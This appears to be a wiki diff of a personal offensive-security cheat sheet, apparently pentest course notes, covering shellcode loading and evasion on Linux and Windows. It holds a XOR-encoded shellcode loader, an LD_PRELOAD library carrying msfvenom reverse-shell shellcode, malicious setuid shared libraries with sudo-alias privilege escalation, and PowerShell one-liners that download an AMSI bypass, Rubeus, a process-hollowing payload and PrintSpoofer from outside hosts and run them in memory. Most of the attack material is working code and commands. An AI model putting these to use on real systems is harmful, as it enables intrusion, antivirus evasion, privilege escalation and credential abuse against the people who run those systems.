unsigned char buf[] = "\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA"; | unsigned char buf[] = "\x90\xD3\xA2\x63\x90\xF8\xA5\x90\xFB\xA4\xF5\xFF\xB2\x6D\xB2\x43\xF8\xFA\xFA\xAA\x3A\x52\xCB\xB9\xAB\xB2\x73\x1C\x90\xEA\xA0\x90\xD0\xA2\xF5\xFF\x90\xF9\xA4\xB2\x05\x34\x90\xDB\xA2\xF5\xFF\x8F\x0C\x90\xC1\xA2\x63\xB2\x41\xD5\x98\x93\x94\xD5\x89\x92\xFA\xA9\xB2\x73\x1D\xA8\xAD\xB2\x73\x1C\xF5\xFF\xFA"; | ||
int main (int argc, char **argv) | int main (int argc, char **argv) | ||
{ | { | ||
int key = 250; | int key = 250; | ||
int buf_len = (int) sizeof(buf); | int buf_len = (int) sizeof(buf); | ||
// Decode the payload | // Decode the payload | ||
for (int i=0; i | for (int i=0; i | ||
==== Compile the shellcode loader ==== | ==== Compile the shellcode loader ==== | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
gcc -o simpleLoader simpleLoader.c -z execstack | gcc -o simpleLoader simpleLoader.c -z execstack | ||
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode. | # -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode. | ||
# If the above dont work, try this | # If the above dont work, try this | ||
| Line 4,134: | Line 3,031: | ||
upx --best --lzma -o shupx.elf ./sh.elf | upx --best --lzma -o shupx.elf ./sh.elf | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Simple XOR Shellcode Encryption Cheatsheet ==== | ==== Simple XOR Shellcode Encryption Cheatsheet ==== | ||
'''1. Simple XOR Encrypt Shellcode''' | '''1. Simple XOR Encrypt Shellcode''' | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,146: | Line 3,040: | ||
#include | #include | ||
#include | #include | ||
unsigned char buf[] = "\x6a\x39\x58\x0f\x05..."; // Original Shellcode | unsigned char buf[] = "\x6a\x39\x58\x0f\x05..."; // Original Shellcode | ||
int main (int argc, char **argv) { | int main (int argc, char **argv) { | ||
char xor_key = 'J'; // XOR Key | char xor_key = 'J'; // XOR Key | ||
int payload_length = (int) sizeof(buf); // Length of Shellcode | int payload_length = (int) sizeof(buf); // Length of Shellcode | ||
// XOR Encrypt Each Byte | // XOR Encrypt Each Byte | ||
for (int i=0; i | for (int i=0; i | ||
'''Compilation''': | '''Compilation''': | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
kali@kali:~$ gcc -o encoder.out encoder.c -z execstack | kali@kali:~$ gcc -o encoder.out encoder.c -z execstack | ||
kali@kali:~$ ./encoder.out | kali@kali:~$ ./encoder.out | ||
\x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x4 | \x20\x73\x12\x45\x4F\x02\xCF\x8A\x3E\x42\x02\x7B\xB5\x20\x76\x12\x45...\x20\x4B\x14\x4 | ||
5\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48 | 5\x4F\x02\xCF\x8A\x32\x71\x02\xDD\x02\xF3\x48 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''2. Execute XOR Decrypted Shellcode''' | '''2. Execute XOR Decrypted Shellcode''' | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,179: | Line 3,063: | ||
#include | #include | ||
#include | #include | ||
unsigned char buf[] = "\x20\x73\x12\x45..."; // XOR Encrypted Shellcode | unsigned char buf[] = "\x20\x73\x12\x45..."; // XOR Encrypted Shellcode | ||
int main (int argc, char **argv) { | int main (int argc, char **argv) { | ||
char xor_key = 'J'; // XOR Key | char xor_key = 'J'; // XOR Key | ||
int arraysize = (int) sizeof(buf); // Length of Encrypted Shellcode | int arraysize = (int) sizeof(buf); // Length of Encrypted Shellcode | ||
// XOR Decrypt Each Byte | // XOR Decrypt Each Byte | ||
for (int i=0; i | for (int i=0; i | ||
'''Key Points''': | '''Key Points''': | ||
* The shellcode is encrypted using XOR operation against a key (e.g., 'J'). | * The shellcode is encrypted using XOR operation against a key (e.g., 'J'). | ||
* The encrypted shellcode must be decrypted using the same XOR key before execution. | * The encrypted shellcode must be decrypted using the same XOR key before execution. | ||
* After decryption, the shellcode is cast to a function pointer and executed. | * After decryption, the shellcode is cast to a function pointer and executed. | ||
=== Shared Libraries === | === Shared Libraries === | ||
Linux uses a different program format than Windows. While Linux utilizes '''Executable and Linkable Format (ELF)''', Windows uses the '''Portable Executable (PE)''' format. | Linux uses a different program format than Windows. While Linux utilizes '''Executable and Linkable Format (ELF)''', Windows uses the '''Portable Executable (PE)''' format. | ||
* '''ELF Reference''': [https://en.wikipedia.org/wiki/Executable_and_Linkable_Format Wikipedia] | * '''ELF Reference''': [https://en.wikipedia.org/wiki/Executable_and_Linkable_Format Wikipedia] | ||
* '''PE Reference''': [https://en.wikipedia.org/wiki/Portable_Executable Wikipedia] | * '''PE Reference''': [https://en.wikipedia.org/wiki/Portable_Executable Wikipedia] | ||
Despite their differences, both systems share code with other applications. Windows employs '''Dynamic-Link Library (DLL)''' files, whereas Linux uses '''Shared Libraries'''. | Despite their differences, both systems share code with other applications. Windows employs '''Dynamic-Link Library (DLL)''' files, whereas Linux uses '''Shared Libraries'''. | ||
When a Linux application requires a library, it searches for it in the following order: | When a Linux application requires a library, it searches for it in the following order: | ||
* '''RPATH''': Directories within the application's RPATH value. | * '''RPATH''': Directories within the application's RPATH value. | ||
[https://en.wikipedia.org/wiki/Rpath Reference] | [https://en.wikipedia.org/wiki/Rpath Reference] | ||
* '''LD_LIBRARY_PATH''': Directories specified in this environment variable. | * '''LD_LIBRARY_PATH''': Directories specified in this environment variable. | ||
* '''RUNPATH''': Directories in the application’s RUNPATH value. | * '''RUNPATH''': Directories in the application’s RUNPATH value. | ||
[https://amir.rachum.com/blog/2016/09/17/shared-libraries/#rpath-and-runpath Reference] | [https://amir.rachum.com/blog/2016/09/17/shared-libraries/#rpath-and-runpath Reference] | ||
* '''/etc/ld.so.conf''': Directories mentioned here. | * '''/etc/ld.so.conf''': Directories mentioned here. | ||
[https://man7.org/linux/man-pages/man8/ldconfig.8.html Reference] | [https://man7.org/linux/man-pages/man8/ldconfig.8.html Reference] | ||
* '''System Library Directories''': <code> /lib , /lib64 , /usr/lib , /usr/lib64 , /usr/local/lib , /usr/local/lib64</code> , and more. | * '''System Library Directories''': <code> /lib , /lib64 , /usr/lib , /usr/lib64 , /usr/local/lib , /usr/local/lib64</code> , and more. | ||
Because of this predefined search sequence, it's possible to place or hijack shared libraries to control an application's behavior. | Because of this predefined search sequence, it's possible to place or hijack shared libraries to control an application's behavior. | ||
==== Hijacking Shared Library via LD_LIBRARY_PATH ==== | ==== Hijacking Shared Library via LD_LIBRARY_PATH ==== | ||
'''1. Writing the Malicious Library:''' | '''1. Writing the Malicious Library:''' | ||
* Create the payload file: | * Create the payload file: | ||
/home/offsec/ldlib/hax.c | /home/offsec/ldlib/hax.c | ||
* Include headers: | * Include headers: | ||
* Define the constructor function: | * Define the constructor function: | ||
* Function payload: | * Function payload: | ||
</syntaxhighlight> | </syntaxhighlight> | ||
| Line 4,271: | Line 3,124: | ||
#include | #include | ||
#include // for setuid/setgid | #include // for setuid/setgid | ||
// This function will be executed automatically when the shared library is loaded. | // This function will be executed automatically when the shared library is loaded. | ||
static void runmahpayload() __attribute__((constructor)); | static void runmahpayload() __attribute__((constructor)); | ||
void runmahpayload() { | void runmahpayload() { | ||
// Elevate privileges to root user. | // Elevate privileges to root user. | ||
setuid(0); // Set the effective user ID to root. | setuid(0); // Set the effective user ID to root. | ||
setgid(0); // Set the effective group ID to root. | setgid(0); // Set the effective group ID to root. | ||
// Print a message to indicate the DLL hijacking is in progress. | // Print a message to indicate the DLL hijacking is in progress. | ||
printf("DLL HIJACKING IN PROGRESS \n"); | printf("DLL HIJACKING IN PROGRESS \n"); | ||
// Execute the system command to create a file in /tmp called "haxso.txt." | // Execute the system command to create a file in /tmp called "haxso.txt." | ||
// This can be used as an indicator that the malicious code was executed. | // This can be used as an indicator that the malicious code was executed. | ||
| Line 4,288: | Line 3,137: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''2. Compiling the Malicious Library:''' | '''2. Compiling the Malicious Library:''' | ||
* Compile shared library object file: | * Compile shared library object file: | ||
* Compile the finished shared library file: | * Compile the finished shared library file: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,303: | Line 3,148: | ||
gcc -shared -o libhax.so hax.o | gcc -shared -o libhax.so hax.o | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''3. Identifying the Target Library:''' | '''3. Identifying the Target Library:''' | ||
* Determine libraries used by a binary, e.g., top : | * Determine libraries used by a binary, e.g., top : | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,327: | Line 3,169: | ||
libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000) | libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* We will use the bottom library. This is likely to be loaded by the application but not likely to be called unless the program encounters an error therefore this shouldn’t prevent normal use of the application. | * We will use the bottom library. This is likely to be loaded by the application but not likely to be called unless the program encounters an error therefore this shouldn’t prevent normal use of the application. | ||
'''4. Preparing for Exploitation:''' | '''4. Preparing for Exploitation:''' | ||
* Set the environment variable: | * Set the environment variable: | ||
* Copy the malicious library to hijack a target: | * Copy the malicious library to hijack a target: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,345: | Line 3,182: | ||
cp libhax.so libgpg-error.so.0 | cp libhax.so libgpg-error.so.0 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''5. Identifying Missing Symbols:''' | '''5. Identifying Missing Symbols:''' | ||
* Extract symbols associated with the hijacked library: | * Extract symbols associated with the hijacked library: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print "int",$8}' | sed 's/@@GPG_ERROR_1.0/;/g' | readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print "int",$8}' | sed 's/@@GPG_ERROR_1.0/;/g' | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Add the resulting symbols to your source code. | * Add the resulting symbols to your source code. | ||
<syntaxhighlight lang="c"> | <syntaxhighlight lang="c"> | ||
| Line 4,365: | Line 3,197: | ||
#include | #include | ||
#include | #include | ||
static void runmahpayload() __attribute__((constructor)); | static void runmahpayload() __attribute__((constructor)); | ||
int gpgrt_onclose; | int gpgrt_onclose; | ||
int _gpgrt_putc_overflow; | int _gpgrt_putc_overflow; | ||
| Line 4,375: | Line 3,205: | ||
---REST OF THE CODE--- | ---REST OF THE CODE--- | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* We encountered an error stating we're missing the symbol "gpgrt_lock_lock" with version GPG_ERROR_1.0. Before our library's initial function could run, the program identified that certain expected symbols were absent. This implies that our fake library doesn't have all the required components that the original library has. To fix this, we just need to add placeholders for these missing components, since the program isn't checking their functionality, just their presence. We can also use the "readelf" tool with the "-s" option to check what components the original library contains. | * We encountered an error stating we're missing the symbol "gpgrt_lock_lock" with version GPG_ERROR_1.0. Before our library's initial function could run, the program identified that certain expected symbols were absent. This implies that our fake library doesn't have all the required components that the original library has. To fix this, we just need to add placeholders for these missing components, since the program isn't checking their functionality, just their presence. We can also use the "readelf" tool with the "-s" option to check what components the original library contains. | ||
'''6. Overcoming Version Errors:''' | '''6. Overcoming Version Errors:''' | ||
* Extract just symbol names: | * Extract just symbol names: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print $8}' | sed 's/@@GPG_ERROR_1.0/;/g' | readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print $8}' | sed 's/@@GPG_ERROR_1.0/;/g' | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Create a symbol map file, e.g., gpg.map : | * Create a symbol map file, e.g., gpg.map : | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,399: | Line 3,223: | ||
_gpgrt_putc_overflow; | _gpgrt_putc_overflow; | ||
... | ... | ||
}; | }; | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Recompile using the symbol map: | * Recompile using the symbol map: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,411: | Line 3,232: | ||
gcc -shared -Wl,--version-script gpg.map -o libgpgerror.so.0 hax.o | gcc -shared -Wl,--version-script gpg.map -o libgpgerror.so.0 hax.o | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Export environment varialbe | * Export environment varialbe | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
export LD_LIBRARY_PATH=/home/offsec/ldlib/ | export LD_LIBRARY_PATH=/home/offsec/ldlib/ | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Run the application | * Run the application | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,429: | Line 3,246: | ||
top - 14:55:15 up 9 days, 4:35, 2 users, load average: 0.01, 0.01, 0.00 Tasks: 164 total, 1 running, 92 sleeping, 0 stopped, 0 zombie ... | top - 14:55:15 up 9 days, 4:35, 2 users, load average: 0.01, 0.01, 0.00 Tasks: 164 total, 1 running, 92 sleeping, 0 stopped, 0 zombie ... | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Look for the file our library was supposed to modify in /tmp. | * Look for the file our library was supposed to modify in /tmp. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,438: | Line 3,253: | ||
-rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txt | -rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txt | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Privilege Escalation ''' | '''Privilege Escalation ''' | ||
'''Create a .bashrc alias for sudo to include LD_LIBRARY_PATH and use the malicious library example we created to escalate to root privileges.''' | '''Create a .bashrc alias for sudo to include LD_LIBRARY_PATH and use the malicious library example we created to escalate to root privileges.''' | ||
* Add the alias to the .bashrc: | * Add the alias to the .bashrc: | ||
* Source the .bashrc to load the changes: | * Source the .bashrc to load the changes: | ||
* Now, run the top utility with sudo: | * Now, run the top utility with sudo: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
alias sudo="sudo LD_LIBRARY_PATH=/home/offsec/ldlib" | alias sudo="sudo LD_LIBRARY_PATH=/home/offsec/ldlib" | ||
source ~/.bashrc | source ~/.bashrc | ||
sudo top | sudo top | ||
ls -al /tmp/haxso.txt | ls -al /tmp/haxso.txt | ||
-rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt | -rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Check the /tmp directory for the haxso.txt file. This time it should be owned by the root user, indicating that the malicious library executed with elevated privileges. | * Check the /tmp directory for the haxso.txt file. This time it should be owned by the root user, indicating that the malicious library executed with elevated privileges. | ||
=== LD_PRELOAD Exploitation === | === LD_PRELOAD Exploitation === | ||
The environment variable LD_PRELOAD, when set on a system, instructs the dynamic linking loader to prioritize a specific shared library to load first. Consequently, the functions within this library take precedence over others that have an identical method signature from different libraries. | The environment variable LD_PRELOAD, when set on a system, instructs the dynamic linking loader to prioritize a specific shared library to load first. Consequently, the functions within this library take precedence over others that have an identical method signature from different libraries. | ||
==== Reverse shell ==== | ==== Reverse shell ==== | ||
'''1. Identifying Potential Applications''' | '''1. Identifying Potential Applications''' | ||
* Target applications that the victim frequently uses (e.g., cp utility). | * Target applications that the victim frequently uses (e.g., cp utility). | ||
'''2. Tracing Library Calls''' | '''2. Tracing Library Calls''' | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,498: | Line 3,297: | ||
+++ exited (status 1) +++ | +++ exited (status 1) +++ | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''3. Creating a Malicious Shared Library''' | '''3. Creating a Malicious Shared Library''' | ||
* '''Objective''': Redefine the geteuid function. | * '''Objective''': Redefine the geteuid function. | ||
* '''Code Sample''': | * '''Code Sample''': | ||
<syntaxhighlight lang="c"> | <syntaxhighlight lang="c"> | ||
| Line 4,516: | Line 3,311: | ||
#include | #include | ||
#include | #include | ||
// To compile: | // To compile: | ||
// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c | // gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c | ||
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl | // gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl | ||
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c | // msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c | ||
unsigned char buf[] = | unsigned char buf[] = | ||
| Line 4,528: | Line 3,321: | ||
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f" | "\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f" | ||
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"; | "\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"; | ||
uid_t geteuid(void) | uid_t geteuid(void) | ||
{ | { | ||
| Line 4,534: | Line 3,326: | ||
typeof(geteuid) *old_geteuid; | typeof(geteuid) *old_geteuid; | ||
old_geteuid = dlsym(RTLD_NEXT, "geteuid"); | old_geteuid = dlsym(RTLD_NEXT, "geteuid"); | ||
// Fork a new thread based on the current one | // Fork a new thread based on the current one | ||
if (fork() == 0) | if (fork() == 0) | ||
| Line 4,540: | Line 3,331: | ||
// Execute shellcode in the new thread | // Execute shellcode in the new thread | ||
intptr_t pagesize = sysconf(_SC_PAGESIZE); | intptr_t pagesize = sysconf(_SC_PAGESIZE); | ||
// Make memory executable (required in libs) | // Make memory executable (required in libs) | ||
if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) { | if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) { | ||
| Line 4,547: | Line 3,337: | ||
return -1; | return -1; | ||
} | } | ||
// Cast and execute | // Cast and execute | ||
int (*ret)() = (int(*)())buf; | int (*ret)() = (int(*)())buf; | ||
| Line 4,562: | Line 3,351: | ||
return -2; | return -2; | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* '''Compilation''': | * '''Compilation''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,573: | Line 3,359: | ||
gcc -shared -o sharedLibrary_LD_PRELOAD.so evil_geteuid.o -ldl | gcc -shared -o sharedLibrary_LD_PRELOAD.so evil_geteuid.o -ldl | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''4. Triggering the Payload''' | '''4. Triggering the Payload''' | ||
* '''Setup''': Prepare a listener for the payload's callback. | * '''Setup''': Prepare a listener for the payload's callback. | ||
* '''Execution without Preload''': | * '''Execution without Preload''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
cp /etc/passwd /tmp/testpasswd | cp /etc/passwd /tmp/testpasswd | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* '''Setting LD_PRELOAD and Execution''': | * '''Setting LD_PRELOAD and Execution''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,596: | Line 3,376: | ||
cp /etc/passwd /tmp/testpasswd | cp /etc/passwd /tmp/testpasswd | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Privilege Escalation ==== | ==== Privilege Escalation ==== | ||
* '''Clear LD_PRELOAD''': | * '''Clear LD_PRELOAD''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
unset LD_PRELOAD | unset LD_PRELOAD | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* '''Note''': If EUID doesn’t match real UID (e.g., when using sudo), dynamic linker ignores LD_PRELOAD. | * '''Note''': If EUID doesn’t match real UID (e.g., when using sudo), dynamic linker ignores LD_PRELOAD. | ||
* '''Setting LD_PRELOAD with Sudo''': Use an alias in .bashrc : | * '''Setting LD_PRELOAD with Sudo''': Use an alias in .bashrc : | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
alias sudo="sudo LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so" | alias sudo="sudo LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so" | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-09-image-13.png|thumb]] | [[File:2023-09-image-13.png|thumb]] | ||
* '''Reload '''''' ''''''''''''.bashrc'''''''''''' ''': | * '''Reload '''''' ''''''''''''.bashrc'''''''''''' ''': | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
source ~/.bashrc | source ~/.bashrc | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* Now run the command | * Now run the command | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
sudo cp /etc/passwd /tmp/passwd | sudo cp /etc/passwd /tmp/passwd | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-09-image-15.png|thumb]] | [[File:2023-09-image-15.png|thumb]] | ||
== Load Exe in Memory == | == Load Exe in Memory == | ||
* To load an exe file to memory you have to have access to the source code in order to find out what the namespace is and the class. | * To load an exe file to memory you have to have access to the source code in order to find out what the namespace is and the class. | ||
* Below are example of how to run '''Rubeus.exe '''in memory and run '''ProcessHollowing payload''' in memory and run '''Mimikatz '''from memory. | * Below are example of how to run '''Rubeus.exe '''in memory and run '''ProcessHollowing payload''' in memory and run '''Mimikatz '''from memory. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,655: | Line 3,419: | ||
# First disable AMSI | # First disable AMSI | ||
(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/amsi.txt') | IEX | (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/amsi.txt') | IEX | ||
# Download Rubeus into memory | # Download Rubeus into memory | ||
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/Rubeus.exe') | $data = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/Rubeus.exe') | ||
# Load it as an assembly | # Load it as an assembly | ||
$assem = [System.Reflection.Assembly]::Load($data) | $assem = [System.Reflection.Assembly]::Load($data) | ||
# Invoke a function | # Invoke a function | ||
[Rubeus.Program]::Main("purge".Split()) | [Rubeus.Program]::Main("purge".Split()) | ||
# Examples | # Examples | ||
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split()) | [Rubeus.Program]::Main("s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split()) | ||
[Rubeus.Program]::Main("s4u /user:svc_file /rc4:08985D3B7B336B046AB92E0B2AAEEAF6 /impersonateuser:administrator /msdsspn:cifs/file02 /ptt".Split()) | [Rubeus.Program]::Main("s4u /user:svc_file /rc4:08985D3B7B336B046AB92E0B2AAEEAF6 /impersonateuser:administrator /msdsspn:cifs/file02 /ptt".Split()) | ||
# One liner | # One liner | ||
$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.49.79/Rubeus.exe');$assem = [System.Reflection.Assembly]::Load($data);[Rubeus.Program]::Main("hash /password:Password123".Split()) | $data = (New-Object System.Net.WebClient).DownloadData('http://192.168.49.79/Rubeus.exe');$assem = [System.Reflection.Assembly]::Load($data);[Rubeus.Program]::Main("hash /password:Password123".Split()) | ||
--------------------------------------- | --------------------------------------- | ||
## Run ProcessHollowing in memory ## | ## Run ProcessHollowing in memory ## | ||
# Where Proc_hol is the namespace, and Program is the class. | # Where Proc_hol is the namespace, and Program is the class. | ||
$data2 = (New-Object System.Net.WebClient).DownloadData('http://92.221.186.47/proc_hol.exe');$assem = [System.Reflection.Assembly]::Load($data2);[Proc_hol.Program]::Main("".Split()) | $data2 = (New-Object System.Net.WebClient).DownloadData('http://92.221.186.47/proc_hol.exe');$assem = [System.Reflection.Assembly]::Load($data2);[Proc_hol.Program]::Main("".Split()) | ||
--------------------------------------- | --------------------------------------- | ||
## Using Invoke-ReflectivePEInjection.ps1. | ## Using Invoke-ReflectivePEInjection.ps1. | ||
# See OneNote for correct version. | # See OneNote for correct version. | ||
# Load PrintSpoofer in memory | # Load PrintSpoofer in memory | ||
(New-Object System.Net.WebClient).DownloadString('http://example.com/Invoke-ReflectivePEInjection.ps1') | IEX | (New-Object System.Net.WebClient).DownloadString('http://example.com/Invoke-ReflectivePEInjection.ps1') | IEX | ||
| Line 4,690: | Line 3,443: | ||
Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs "-i -c cmd" | Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs "-i -c cmd" | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Metasploit Post Explotation == | == Metasploit Post Explotation == | ||
[https://medium.com/@tanseejou97/tryhackme-metasploit-meterpreter-walkthrough-17e5bd9c0dc7#:~:text=POST-exploitation%20with%20Meterpreter%201%20Migrate%20migrate%20%5BPID%20of,locate%20files%20with%20potentially%20juice%20information.%204%20Shell [TryHackMe] Metasploit: Meterpreter — walkthrough | by Tanseejou | Medium] | [https://medium.com/@tanseejou97/tryhackme-metasploit-meterpreter-walkthrough-17e5bd9c0dc7#:~:text=POST-exploitation%20with%20Meterpreter%201%20Migrate%20migrate%20%5BPID%20of,locate%20files%20with%20potentially%20juice%20information.%204%20Shell [TryHackMe] Metasploit: Meterpreter — walkthrough | by Tanseejou | Medium] | ||
=== Metasploit Unleashed === | === Metasploit Unleashed === | ||
[https://www.offsec.com/metasploit-unleashed/ Metasploit Unleashed - Free Online Ethical Hacking Course | OffSec] | [https://www.offsec.com/metasploit-unleashed/ Metasploit Unleashed - Free Online Ethical Hacking Course | OffSec] | ||
== Running Metasploit as a Daemon == | == Running Metasploit as a Daemon == | ||
To start Metasploit as a daemon, you need to run the msfd utility, which opens on port 55554 by default. | To start Metasploit as a daemon, you need to run the msfd utility, which opens on port 55554 by default. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,714: | Line 3,460: | ||
[*] Initializing msfd... | [*] Initializing msfd... | ||
[*] Running msfd... | [*] Running msfd... | ||
</syntaxhighlight> | </syntaxhighlight> | ||
To connect to the daemon, use netcat like the following example: | To connect to the daemon, use netcat like the following example: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
┌──(root㉿kali)-[/home/kali/Desktop/] | ┌──(root㉿kali)-[/home/kali/Desktop/] | ||
└─# nc 127.0.0.1 55554 | └─# nc 127.0.0.1 55554 | ||
Metasploit Park, System Security Interface | Metasploit Park, System Security Interface | ||
Version 4.0.5, Alpha E | Version 4.0.5, Alpha E | ||
| Line 4,742: | Line 3,484: | ||
YOU DIDN'T SAY THE MAGIC WORD! | YOU DIDN'T SAY THE MAGIC WORD! | ||
YOU DIDN'T SAY THE MAGIC WORD! | YOU DIDN'T SAY THE MAGIC WORD! | ||
=[ metasploit v6.3.41-dev ] | =[ metasploit v6.3.41-dev ] | ||
| Line 4,748: | Line 3,489: | ||
+ -- --=[ 1391 payloads - 46 encoders - 11 nops ] | + -- --=[ 1391 payloads - 46 encoders - 11 nops ] | ||
+ -- --=[ 9 evasion ] | + -- --=[ 9 evasion ] | ||
Metasploit Documentation: https://docs.metasploit.com/ | Metasploit Documentation: https://docs.metasploit.com/ | ||
[*] Starting persistent handler(s)... | [*] Starting persistent handler(s)... | ||
msf6 > | msf6 > | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Meterpreter MindMap === | === Meterpreter MindMap === | ||
